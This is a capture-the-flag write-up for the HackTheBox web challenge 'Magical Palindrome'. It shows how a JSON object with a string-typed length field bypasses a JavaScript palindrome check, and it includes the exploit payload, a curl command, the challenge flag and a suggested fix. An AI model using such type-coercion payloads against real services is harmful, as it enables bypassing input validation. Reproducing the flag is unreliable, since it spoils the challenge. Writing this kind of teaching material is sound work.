Magical Palindrome - Daryx Writeups

531 words

3 minutes

Magical Palindrome

2025-01-28

HackTheBox

Web

/

Type Coercion

/

JavaScript

In Dumbledore’s absence, Harry’s memory fades, leaving crucial words lost. Delve into the arcane world, harness the power of JSON, and unveil the hidden spell to restore his recollection. Can you help harry to find path to salvation?

Initial Analysis#

Examining the Source Code#

The challenge provides several configuration files. The key files are:

index.mjs - Main server logic:

1
const IsPalinDrome = (string) => {
2
    if (string.length < 1000) {
3
        return 'Tootus Shortus';
4
    }
5

6
    for (const i of Array(string.length).keys()) {
7
        const original = string[i];
8
        const reverse = string[string.length - i - 1];
9

10
        if (original !== reverse || typeof original !== 'string') {
11
            return 'Notter Palindromer!!';
12
        }
13
    }
14

15
    return null;
16
}
17

18
app.post('/', async (c) => {
19
    const {palindrome} = await c.req.json();
20
    const error = IsPalinDrome(palindrome);
21
    if (error) {
22
        c.status(400);
23
        return c.text(error);
24
    }
25
    return c.text(`Hii Harry!!! ${flag}`);
26
});

nginx.conf - Server configuration:

1
server {
2
    listen 80;
3
    server_name 127.0.0.1;
4
    client_max_body_size 75;  // Only 75 BYTES allowed!
5

6
    location / {
7
        proxy_pass http://127.0.0.1:3000;
8
        proxy_read_timeout 5s;
9
    }
10
}

The Challenge#

We need to:

Send a palindrome with length >= 1000
Keep the request body under 75 bytes
Pass the palindrome validation check

At first glance, this seems impossible - a JSON payload with 1000 characters would be over 1000 bytes!

The Vulnerability#

JavaScript Type Coercion Bug#

The vulnerability lies in how JavaScript handles the Array() constructor with different data types.

Key Observations:

When string.length is a NUMBER (e.g., 1000):

1
Array(1000).keys()  // Creates iterator with 1000 values: 0, 1, 2, ..., 999

When string.length is a STRING (e.g., "1000"):

1
Array("1000").keys()  // Creates array ["1000"] with ONE element!
2
// Iterator yields only: 0

The Exploit#

By sending an object with:

length as a string "1000" (not a number)
Properties at indices 0 and 999

We can:

Pass the length check: "1000" < 1000 - JavaScript coerces the string to number - 1000 < 1000 - false
Minimize loop iterations: Array("1000") creates an array with only ONE element, so the loop runs only ONCE
Pass the palindrome check: The single iteration only checks string[0] vs string[999], both set to "a"

The Solution#

Exploit Payload#

1
{"palindrome":{"0":"a","999":"a","length":"1000"}}

Payload size: 50 bytes (well under the 75-byte limit!)

Execution Flow#

1
// Step 1: Length check
2
"1000" < 1000  // String coerced to number: 1000 < 1000 = false
3

4
// Step 2: Create array
5
Array("1000")  // Creates ["1000"] - array with ONE element
6

7
// Step 3: Loop iteration
8
for (const i of Array("1000").keys()) {  // Yields only: i=0
9
    const original = string[0];      // = "a"
10
    const reverse = string["1000" - 0 - 1];  // = string[999] = "a"
11

12
    if ("a" !== "a" || typeof "a" !== 'string') {  // false || false = false
13
        return 'Notter Palindromer!!';
14
    }
15
}
16

17
// Step 4: Success!
18
return null;  // Returns flag

Final Command#

1
curl -X POST http://target:port \
2
  -H "Content-Type: application/json" \
3
  -d '{"palindrome":{"0":"a","999":"a","length":"1000"}}'

Result#

1
Hii Harry!!! HTB{Lum0s_M@x!ma}

Key Takeaways#

Type Coercion Vulnerabilities: JavaScript’s automatic type coercion can lead to unexpected behavior
Array Constructor Behavior: Array(n) behaves differently when n is a number vs. a string
Input Validation: Always validate not just the value but also the type of user inputs
Defense: Use strict equality (===) and type checking, especially when dealing with user-controlled data

Proper Fix#

1
const IsPalinDrome = (string) => {
2
    // Validate input type
3
    if (typeof string !== 'string') {
4
        return 'Invalid input type';
5
    }
6

7
    // Ensure length is a number
8
    if (typeof string.length !== 'number' || string.length < 1000) {
9
        return 'Tootus Shortus';
10
    }
11

12
    // ... rest of validation
13
}